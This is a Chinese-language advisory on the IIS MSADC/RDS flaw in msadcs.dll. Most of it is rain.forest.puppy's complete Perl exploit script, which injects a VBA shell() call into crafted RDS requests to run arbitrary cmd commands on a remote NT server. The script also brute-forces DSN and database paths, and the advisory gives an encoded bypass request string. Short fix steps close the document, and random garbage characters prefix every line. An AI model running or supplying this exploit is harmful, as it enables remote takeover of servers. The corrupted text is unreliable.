IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
<ua` WRQr -M=#U\D 涉及程序：
aY`qb Jy Microsoft NT server
Nl"Xl? y} Ja1[vO"YgP 描述：
p5F=?*[} 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
obA}SF c %|K
x 详细：
_cPG S=Ew 如果你没有时间读详细内容的话，就删除:
:
L}Fm2^ c:\Program Files\Common Files\System\Msadc\msadcs.dll
;Q YUi R 有关的安全问题就没有了。
wxC& KrRF `N<6)MX3>g 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
^n! j" U|tUX)9O 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
JH3$G,:zM 关于利用ODBC远程漏洞的描述，请参看:
bogw /)1 o8<0#W@S http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^eF%4DUC; $y %X#:eLJ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
z"7I5N http://www.microsoft.com/security/bulletins/MS99-025faq.asp _FpZc ?= )y~FeKh 这里不再论述。
{tS^Q*F ~!V5Ug_2 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
hA?Flq2QV 1P8XVI' /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
"gt-bo., 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
?+3vK=Rf} M TnW5W-r9 &Tc:WD #将下面这段保存为txt文件，然后: "perl -x 文件名"
FYOQ}N
+\Hh|Uz5 #!perl
?=u/ &3Cw #
,K/ l;M5I # MSADC/RDS 'usage' (aka exploit) script
8|]r>L$Wk #
rC !!X # by rain.forest.puppy
5Z8Zb. #
<@F.qMl # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
6[.#B !;9 # beta test and find errors!
0iKSUw ps aNt +;M7g` use Socket; use Getopt::Std;
o *]Tqx getopts("e:vd:h:XR", \%args);
qG lbO OBnf5*e J print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
7LFJi@*8 \C{Dui) F if (!defined $args{h} && !defined $args{R}) {
a *hWODYn print qq~
dmR>u Usage: msadc.pl -h <host> { -d <delay> -X -v }
|\}& mBR -h <host> = host you want to scan (ip or domain)
j . " L= -d <seconds> = delay between calls, default 1 second
:D|5E>o( -X = dump Index Server path table, if available
TTDcVG_} -v = verbose
D PWt=IFU -e = external dictionary file for step 5
m{v*\e7 P kVmR v.zZ Or a -R will resume a command session
v3*y43 JJQS7,vG ~; exit;}
^y,Ex;6o ;c/|LXc\ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
B0M(&)!%
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
=~D QX\ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
21T#NYfew if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
+UM%6Z=+ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
u?Uu>9@Z if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
@%^JB !&eKq?P{j if (!defined $args{R}){ $ret = &has_msadc;
`iQ])C^d die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
*HONA> u
MwuRxeRO- print "Please type the NT commandline you want to run (cmd /c assumed):\n"
f 0|wN\ . "cmd /c ";
ZLGglT'EW> $in=<STDIN>; chomp $in;
ez-jVi-Fi $command="cmd /c " . $in ;
6(1S_b=a c%+_~iBUN if (defined $args{R}) {&load; exit;}
94}y,\S ~ mx!EuF$I print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Nd h &try_btcustmr;
X
T<SR] A"}I b' print "\nStep 2: Trying to make our own DSN...";
FK H _o &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
$~,J8?)(z `9Rj;^NJ print "\nStep 3: Trying known DSNs...";
*UZd !a) &known_dsn;
)Tl]1^ V<i_YLYmJe print "\nStep 4: Trying known .mdbs...";
3Fg{?C_l &known_mdb;
*}'3|e4w} LTTMxiq[* if (defined $args{e}){
3+/^ print "\nStep 5: Trying dictionary of DSN names...";
u_=^Bd &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
m ##_U9O i )!+`w*Y print "Sorry Charley...maybe next time?\n";
j0~ dJ# exit;
D=jtXQF @b9qBJfQ ##############################################################################
mo D)^':. ^
A J_
sub sendraw { # ripped and modded from whisker
.Q!p Q"5 sleep($delay); # it's a DoS on the server! At least on mine...
Ms=N+e$n my ($pstr)=@_;
}a"koL socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.3CQFbHF die("Socket problems\n");
rM`z2*7%d if(connect(S,pack "SnA4x8",2,80,$target)){
98Y1-Z^ . select(S); $|=1;
N5 b^ print $pstr; my @in=<S>;
jSQM3+`b select(STDOUT); close(S);
"#.L\p{Zy return @in;
?BR Z ){) } else { die("Can't connect...\n"); }}
F*J bTEOn tI<6TE'!p# ##############################################################################
2<E@f0BVAy ()ww9L2 sub make_header { # make the HTTP request
Zf ibHivz my $msadc=<<EOT
AHzm9U @ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
[M2xF<r6t User-Agent: ACTIVEDATA
tP89gN^PA| Host: $ip
|* g\-2j{ Content-Length: $clen
&-L9ws Connection: Keep-Alive
F8xu&Vk0: F8&L'@m9> ADCClientVersion:01.06
`-g$
0lm7 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
+bk+0k9k5 H<"EE15 --!ADM!ROX!YOUR!WORLD!
Q N;GMX5& Content-Type: application/x-varg
m A('MS2 Content-Length: $reqlen
7#j9"* y*E{X EOT
k)zBw(wr ; $msadc=~s/\n/\r\n/g;
Y=@iD\u
return $msadc;}
>#y1(\e Of#"nu ##############################################################################
f\z9?Z(~ {KSy I# sub make_req { # make the RDS request
hyY^$p+ my ($switch, $p1, $p2)=@_;
"?6R"Vk?: my $req=""; my $t1, $t2, $query, $dsn;
uT
Y G/O Ky* xAx: if ($switch==1){ # this is the btcustmr.mdb query
H'I5LYsXO~ $query="Select * from Customers where City=" . make_shell();
E)]emeG d $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
\==M gy2J8 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
c^R "g)gr Uv(}x 7e) elsif ($switch==2){ # this is general make table query
GS*_m4.Ry6 $query="create table AZZ (B int, C varchar(10))";
u4xJ-Vu $dsn="$p1";}
_) ~|Z~ D=)qd@,K elsif ($switch==3){ # this is general exploit table query
?sxf_0* $query="select * from AZZ where C=" . make_shell();
+!t *LSF $dsn="$p1";}
3*R(&O6} { "0n^! elsif ($switch==4){ # attempt to hork file info from index server
_+gpdQq\p $query="select path from scope()";
:I^4ILQCD $dsn="Provider=MSIDXS;";}
V /)3d (A;HB@)[A elsif ($switch==5){ # bad query
Bb I),iP $query="select";
lEpPi @2PK $dsn="$p1";}
yCv"(fNQ 7KtgR=-Lb $t1= make_unicode($query);
3ep
L'My$ $t2= make_unicode($dsn);
F|&m xsL $req = "\x02\x00\x03\x00";
e XdH)|l,\ $req.= "\x08\x00" . pack ("S1", length($t1));
*T{KpiuP $req.= "\x00\x00" . $t1 ;
R~bLEo $req.= "\x08\x00" . pack ("S1", length($t2));
] xhH:kW4 $req.= "\x00\x00" . $t2 ;
5 d|+ c< $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
5 hB2: $C return $req;}
~ 5Rh7 +@PZ3
[s ##############################################################################
5a* Awv} V{0 V/Nv sub make_shell { # this makes the shell() statement
94XRf"^ return "'|shell(\"$command\")|'";}
*JaFt@ x h#8 {fr)6 ##############################################################################
E
eCgV{9B *kDV ^RBfq sub make_unicode { # quick little function to convert to unicode
H/ub=,Ej* my ($in)=@_; my $out;
[92bGR{ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
J1Y3 >40 return $out;}
F#{ PJ# q 5w)i ##############################################################################
I q47^ tQ4{:WPG sub rdo_success { # checks for RDO return success (this is kludge)
^[zF IO my (@in) = @_; my $base=content_start(@in);
=`%%* if($in[$base]=~/multipart\/mixed/){
CY9`HQ1 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
<lLk (fC return 0;}
.]Z,O>N SiJX5ydz ##############################################################################
m<22E0=g u" a$/ sub make_dsn { # this makes a DSN for us
Q_a%$a.rV my @drives=("c","d","e","f");
* -9b!>5eD print "\nMaking DSN: ";
YC Q +9 foreach $drive (@drives) {
/t?(Ic P5 print "$drive: ";
; d
> my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
%n #^#: "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
<kor;exeJ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
zphStiwIQ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
';7|H|,F return 0 if $2 eq "404"; # not found/doesn't exist
8%#uZG\ } if($2 eq "200") {
b;Im +9& foreach $line (@results) {
5 *>3(U return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
s/'gl } return 0;}
Ljxn}):[ ' C*NyHc ##############################################################################
h Tn^:%( f:g<Bz=u)* sub verify_exists {
>Y< y]vM: my ($page)=@_;
JGD{cr[S my @results=sendraw("GET $page HTTP/1.0\n\n");
ss 3fq} return $results[0];}
7+u%]D! ^ihXM]1{G ##############################################################################
XT_BiZ%l5O 4%j&]PASa1 sub try_btcustmr {
YKvFZH) my @drives=("c","d","e","f");
|,&!Q$<un my @dirs=("winnt","winnt35","winnt351","win","windows");
AjANuyUaP .]H]H *wC foreach $dir (@dirs) {
z(orA} [ print "$dir -> "; # fun status so you can see progress
z ?"5= "D foreach $drive (@drives) {
NI s4v(! print "$drive: "; # ditto
+;[`fSi $reqlen=length( make_req(1,$drive,$dir) ) - 28;
+msHQk5#$m $reqlenlen=length( "$reqlen" );
?3z+|;t6C $clen= 206 + $reqlenlen + $reqlen;
M7Hk54U +t 1I^Sv my @results=sendraw(make_header() . make_req(1,$drive,$dir));
X7c*T / if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
16G v?
I
h else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
pmW=l/6+V3 )Y&De) = ##############################################################################
|f? C*t', S s`0;D1 sub odbc_error {
AYZds >#Q my (@in)=@_; my $base;
0RSa{iS*A my $base = content_start(@in);
r&3 fSx9 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
o"1us75P $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}C&c=3V $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
};!c ]/, $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
YKc{P"'/ | return $in[$base+4].$in[$base+5].$in[$base+6];}
S~Hj.
d4/ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
+tN-X'u## print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
sTqB%$K} $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
zuPH3Q={ ^ KjqS\< ##############################################################################
zm .2L y14@9<~9 sub verbose {
V7@xr
M my ($in)=@_;
O46/[{p+8 return if !$verbose;
z*[Z: print STDOUT "\n$in\n";}
/&dt! .WY^ 5k(#kyP ##############################################################################
I.<#t(io nz',Zm}, sub save {
o_N02l4J) my ($p1, $p2, $p3, $p4)=@_;
'} kq@ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
o <'gM]$ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
7@"X~C close OUT;}
M vh_>-i q peK><o ##############################################################################
-&A[{m <,> nJya1AH; sub load {
R`&ioRWj my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
m&%b;%,J open(IN,"<rds.save") || die("Couldn't open rds.save\n");
"%]dC { @p=<IN>; close(IN);
7| T :TbY> $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
R)C+wTG; $target= inet_aton($ip) || die("inet_aton problems");
Z9D4;1 print "Resuming to $ip ...";
W Q&<QVK $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
80EY7#r@w if($p[1]==1) {
("oA{:@d $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
y {]%, $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
ezvaAhd{ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
z Y|g#V- if (rdo_success(@results)){print "Success!\n";}
+*DX(v"BH else { print "failed\n"; verbose(odbc_error(@results));}}
~e+w@ lK elsif ($p[1]==3){
@^%_ir( if(run_query("$p[3]")){
gNd
J=r4 print "Success!\n";} else { print "failed\n"; }}
`[\phv elsif ($p[1]==4){
]EnaZWyO] if(run_query($drvst . "$p[3]")){
TH!8G,(w print "Success!\n"; } else { print "failed\n"; }}
z{d5Lrk exit;}
,Tl5@RN | dwxea ##############################################################################
@;}H<&" <yPH dbF sub create_table {
R6XMBYK^ my ($in)=@_;
vWH>k+9&X $reqlen=length( make_req(2,$in,"") ) - 28;
jTr 4A-" $reqlenlen=length( "$reqlen" );
N R&9:? $clen= 206 + $reqlenlen + $reqlen;
=7Vl{>*1N my @results=sendraw(make_header() . make_req(2,$in,""));
8 8$ Y-g5* return 1 if rdo_success(@results);
lKUm_; m my $temp= odbc_error(@results); verbose($temp);
..!-)q'? return 1 if $temp=~/Table 'AZZ' already exists/;
B?y t %f1 return 0;}
l%(`<a]VIB ~bTae =FP ##############################################################################
5ba[6\Af p 8d n-4 sub known_dsn {
Y0\\(0j6 4 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
5]l7 Z35 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
E$Pjp oQTf "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
QCfpDE} "banner", "banners", "ads", "ADCDemo", "ADCTest");
TrU@mYnE d $rUxqB. foreach $dSn (@dsns) {
vGwD~R print ".";
az;jMnPpR5 next if (!is_access("DSN=$dSn"));
&vX!7 Y if(create_table("DSN=$dSn")){
m`IQ+, e print "$dSn successful\n";
uyt-q|83= if(run_query("DSN=$dSn")){
ai j Gz< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
cC^C7AAq^ print "Something's borked. Use verbose next time\n";}}} print "\n";}
i: M*L< + 0"psKf' ##############################################################################
`F\:XuY -wQ^oOJ sub is_access {
LDEW00zL my ($in)=@_;
.*~u $reqlen=length( make_req(5,$in,"") ) - 28;
s.^9HuM $reqlenlen=length( "$reqlen" );
Z/kaRnG[@t $clen= 206 + $reqlenlen + $reqlen;
TUU E(sLA my @results=sendraw(make_header() . make_req(5,$in,""));
C%_ my $temp= odbc_error(@results);
&^n> ZY, verbose($temp); return 1 if ($temp=~/Microsoft Access/);
N@ *wi"Q return 0;}
tNuC xb- rgdQR^!l6 ##############################################################################
)6:]o&bZ Kq 4<l sub run_query {
2 \63&C^ my ($in)=@_;
04guud } $reqlen=length( make_req(3,$in,"") ) - 28;
2"+x(Ax $reqlenlen=length( "$reqlen" );
[s{r$!Gl $clen= 206 + $reqlenlen + $reqlen;
[TK? P0 my @results=sendraw(make_header() . make_req(3,$in,""));
Q
A) 9 return 1 if rdo_success(@results);
Bf:tal6 -M my $temp= odbc_error(@results); verbose($temp);
}u-S j/K return 0;}
3P#+)
F~ { w8
!K ##############################################################################
@?3vRs}h i=1 }lk q sub known_mdb {
PM-PP8h
my @drives=("c","d","e","f","g");
A?Nn>xF9X my @dirs=("winnt","winnt35","winnt351","win","windows");
e-i YJ? my $dir, $drive, $mdb;
@0ov!9]Rw- my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
6I&j
cHH jj3Pf>D+k # this is sparse, because I don't know of many
&*aer5?` my @sysmdbs=( "\\catroot\\icatalog.mdb",
KIKq9 * "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
'l'
X^LMD "\\system32\\certmdb.mdb",
nGx ~) T "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
(3 ZvXpzvF ~TG39* m my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
4yp RyO "\\cfusion\\cfapps\\forums\\forums_.mdb",
K =tx5{V "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
i<#h]o
C} "\\cfusion\\cfapps\\security\\realm_.mdb",
Nq T1buU# "\\cfusion\\cfapps\\security\\data\\realm.mdb",
,T F<y#wed "\\cfusion\\database\\cfexamples.mdb",
,Um 5S 6 Z "\\cfusion\\database\\cfsnippets.mdb",
:/@k5#DY "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
,b6kTQq "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
7 MO "\\cfusion\\brighttiger\\database\\cleam.mdb",
(Bt;DM# > "\\cfusion\\database\\smpolicy.mdb",
N
b3I%r "\\cfusion\\database\cypress.mdb",
GB<R7 J "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
}c`
?0FQ "\\website\\cgi-win\\dbsample.mdb",
"u(S2'DW'( "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
WYwzo V- "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
X2 \E9hJg ); #these are just
S)"##-~`T foreach $drive (@drives) {
J 16=!q() foreach $dir (@dirs){
vIVw'Z(g} foreach $mdb (@sysmdbs) {
K08 iPIkQ print ".";
z}> 4,d if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
e1%rVQ(v print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
n> MD\ZS if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
3TU'*w
& print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
f DU+ 3b } else { print "Something's borked. Use verbose next time\n"; }}}}}
<\, & :< \R8 6;9ov foreach $drive (@drives) {
h'B9|Cm foreach $mdb (@mdbs) {
W
*Y W6 print ".";
Q&u>7_, Du if(create_table($drv . $drive . $dir . $mdb)){
k(zs>kiP print "\n" . $drive . $dir . $mdb . " successful\n";
D ^,\cZbY if(run_query($drv . $drive . $dir . $mdb)){
D3 %l4.h print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
iY0,WT}&n } else { print "Something's borked. Use verbose next time\n"; }}}}
ZJ ^s} }
<9@&oN+T G$cxDGo ##############################################################################
:~t<L%tYF ^pJ0nY# c sub hork_idx {
TkA9tFi print "\nAttempting to dump Index Server tables...\n";
;e&! print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
d4ic9u*D $reqlen=length( make_req(4,"","") ) - 28;
-&tr k $reqlenlen=length( "$reqlen" );
3QCMK^#Z: $clen= 206 + $reqlenlen + $reqlen;
iH[E=
6* my @results=sendraw2(make_header() . make_req(4,"",""));
9n_ eCb)H if (rdo_success(@results)){
"\`>2 my $max=@results; my $c; my %d;
\C| ;F for($c=19; $c<$max; $c++){
Qqp)@uM^ $results[$c]=~s/\x00//g;
DeA @0HOxh $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
-<O JqB $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
c+1vqbqHG $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
bKYY{V55 $d{"$1$2"}="";}
GUKDhg,W foreach $c (keys %d){ print "$c\n"; }
#xl ZU } else {print "Index server doesn't seem to be installed.\n"; }}
!0b%Jh (%i!% {!] ##############################################################################
E\w+ kAAf JdtPY~k0 sub dsn_dict {
1x { XE*%; open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Y]~IY?I while(<IN>){
R3$@N $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
>
9o{(j next if (!is_access("DSN=$dSn"));
658\#x8| if(create_table("DSN=$dSn")){
mLJDxh'B print "$dSn successful\n";
Y7-*2"! if(run_query("DSN=$dSn")){
~fBex_.o* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
INOH{`}Ew print "Something's borked. Use verbose next time\n";}}}
Q2q| *EL print "\n"; close(IN);}
6 zuze0ud ^dh=M5xz) ##############################################################################
#7+]%;h =m~r uZ / sub sendraw2 { # ripped and modded from whisker
'v\j.j/i sleep($delay); # it's a DoS on the server! At least on mine...
1ADv?+j)A/ my ($pstr)=@_;
V+46R
] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
u-kZW1wrQ die("Socket problems\n");
p/N 62G if(connect(S,pack "SnA4x8",2,80,$target)){
YN/u9[=` print "Connected. Getting data";
wsq LXZI open(OUT,">raw.out"); my @in;
#J\s%60p t select(S); $|=1; print $pstr;
?;_H{/)m while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
B7|c`7x( close(OUT); select(STDOUT); close(S); return @in;
I
:@|^PYw } else { die("Can't connect...\n"); }}
fL2 ^\dB ; 4Ppop ##############################################################################
O MvT;Vgg o ~;M" sub content_start { # this will take in the server headers
\KCWYi] my (@in)=@_; my $c;
bfhz?,b for ($c=1;$c<500;$c++) {
7u|%^Ao6 if($in[$c] =~/^\x0d\x0a/){
W1hX?!xp! if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
t?HF-zQ else { return $c+1; }}}
~~@y_e[N#l return -1;} # it should never get here actually
\ZsP]};* >%l:Dw\A: ##############################################################################
p.5e:
i^LJ QAi1,+y]7w sub funky {
:s]\k%" my (@in)=@_; my $error=odbc_error(@in);
)O&z5n7t4s if($error=~/ADO could not find the specified provider/){
fq=:h\\G print "\nServer returned an ADO miscofiguration message\nAborting.\n";
*t]v}ZV* exit;}
%XR<isn if($error=~/A Handler is required/){
1LX)4TCC print "\nServer has custom handler filters (they most likely are patched)\n";
V,vc_d?,_o exit;}
WI{ ; #A if($error=~/specified Handler has denied Access/){
d+e0;!s~O print "\nServer has custom handler filters (they most likely are patched)\n";
L0xsazX:x exit;}}
\f<z*!,D$ 9*DEv0}a^ ##############################################################################
3Soy3Xp m
&!X A sub has_msadc {
6#vI;d[^ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
']h
IfOD"r my $base=content_start(@results);
!?b/-~o7S return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
'B,KFA< return 0;}
KGD'mByt" J)Ol"LXV ########################
ZJvo9!DL|
h;nQxmJ9 %4/xH 9 解决方案：
ntZ~m 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
OT@ yPG 2、移除web 目录: /msadc
